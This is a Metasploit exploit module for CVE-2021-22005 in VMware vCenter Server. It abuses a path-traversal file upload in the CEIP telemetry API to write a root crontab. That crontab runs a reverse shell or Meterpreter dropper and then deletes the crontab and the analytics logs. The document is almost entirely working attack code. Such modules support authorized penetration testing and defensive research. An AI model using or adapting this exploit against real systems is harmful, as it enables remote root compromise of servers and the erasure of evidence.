VMware vCenter Server Analytics (CEIP) Service File Upload allows system crontab write and root user shell commands execution
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server Analytics (CEIP) Service File Upload',
'Description' => %q{
This module exploits a file upload in VMware vCenter Server's
analytics/telemetry (CEIP) service to write a system crontab and
execute shell commands as the root user.
Note that CEIP must be enabled for the target to be exploitable by
this module. CEIP is enabled by default.
},
'Author' => [
'George Noseevich', # Discovery
'Sergey Gerasimov', # Discovery
'VMware', # Initial PoC
'Derek Abdine', # Analysis
'wvu' # Analysis and exploit
],
'References' => [
['CVE', '2021-22005'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0020.html'],
['URL', 'https://attackerkb.com/topics/15E0q0tdEZ/cve-2021-22005/rapid7-analysis'],
['URL', 'https://censys.io/blog/vmware-cve-2021-22005-technical-impact-analysis/'],
['URL', 'https://testbnull.medium.com/quick-note-of-vcenter-rce-cve-2021-22005-4337d5a817ee']
],
'DisclosureDate' => '2021-09-21',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl_ssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'WfsDelay' => 60
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/level'),
'vars_get' => {
'_c' => ''
}
)
return CheckCode::Unknown unless res
unless res.code == 200 && res.body == '"FULL"'
return CheckCode::Safe('CEIP is not fully enabled.')
end
CheckCode::Appears('CEIP is fully enabled.')
end
def exploit
print_status('Creating path traversal')
unless write_file(rand_text_alphanumeric(8..16))
fail_with(Failure::NotVulnerable, 'Failed to create path traversal')
end
print_good('Successfully created path traversal')
print_status("Executing #{payload_instance.refname} (#{target.name})")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
print_warning("Please wait up to #{wfs_delay} seconds for a session")
end
def execute_command(cmd, _opts = {})
print_status("Writing system crontab: #{crontab_path}")
crontab_file = crontab(cmd)
vprint_line(crontab_file)
unless write_file("../../../../../../etc/cron.d/#{crontab_name}", crontab_file)
fail_with(Failure::PayloadFailed, 'Failed to write system crontab')
end
print_good('Successfully wrote system crontab')
end
def write_file(path, data = nil)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/analytics/telemetry/ph/api/hyper/send'),
'ctype' => 'application/json',
'vars_get' => {
'_c' => '',
'_i' => "/#{path}"
},
'data' => data
)
return false unless res&.code == 201
true
end
def crontab(cmd)
# https://man7.org/linux/man-pages/man5/crontab.5.html
<<~CRONTAB.strip
* * * * * root rm -rf #{crontab_path} /var/log/vmware/analytics/prod/_c_i/
* * * * * root #{cmd}
CRONTAB
end
def crontab_path
"/etc/cron.d/#{crontab_name}.json"
end
def crontab_name
@crontab_name ||= rand_text_alphanumeric(8..16)
end
end
`
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